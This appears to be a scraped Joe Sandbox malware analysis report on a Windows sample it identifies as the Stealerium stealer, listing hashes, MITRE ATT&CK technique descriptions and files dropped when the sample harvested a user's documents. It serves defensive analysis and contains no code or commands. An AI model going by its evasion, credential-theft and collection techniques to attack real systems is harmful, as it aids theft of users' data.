Instruction ID: 766487a610f69e15589ff84ab3ad72bbd036517792edb216ae1e8337fd931bf2
Opcode Fuzzy Hash: 29d2f0100e3109f4613dfdff40d42613bb56894c0d784d201462b3ed20c718eb
Instruction Fuzzy Hash: 80110676404240DFCB02CF44D5C0B56BF72FB84328F24C6A9E8044B316C33AD556CB91

Uniqueness

Uniqueness Score: -1.00%

Function 018CD37F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.577997677.00000000018CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_18cd000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f45dc8ffff706fb05bcde3a42111e7466e20ebf3dc7f5347bf588368a02ed7e4
Instruction ID: 1abd08073236d44e5ba673dd0ccaa160e4f8fc87bf96ca9a2f33ff4350720a05
Opcode Fuzzy Hash: f45dc8ffff706fb05bcde3a42111e7466e20ebf3dc7f5347bf588368a02ed7e4
Instruction Fuzzy Hash: 7811BB76504280CFDB02DF18D5C0B55FBA1FB84724F28C6AED9498B656C33AE44ACBA1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report f2wWJWlU2B.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Stealerium

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\DotNetZip-g2gl0cqg.tmp

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US.zip (copy)

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Directories\Desktop.txt

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Directories\Documents.txt

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Directories\Downloads.txt

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Directories\OneDrive.txt

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Directories\Pictures.txt

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Directories\Startup.txt

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Directories\Temp.txt

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Directories\Videos.txt

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\BPMLNOBVSB.docx

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\BPMLNOBVSB.pdf

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\BPMLNOBVSB\BPMLNOBVSB.docx

Windows Analysis Report
f2wWJWlU2B.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre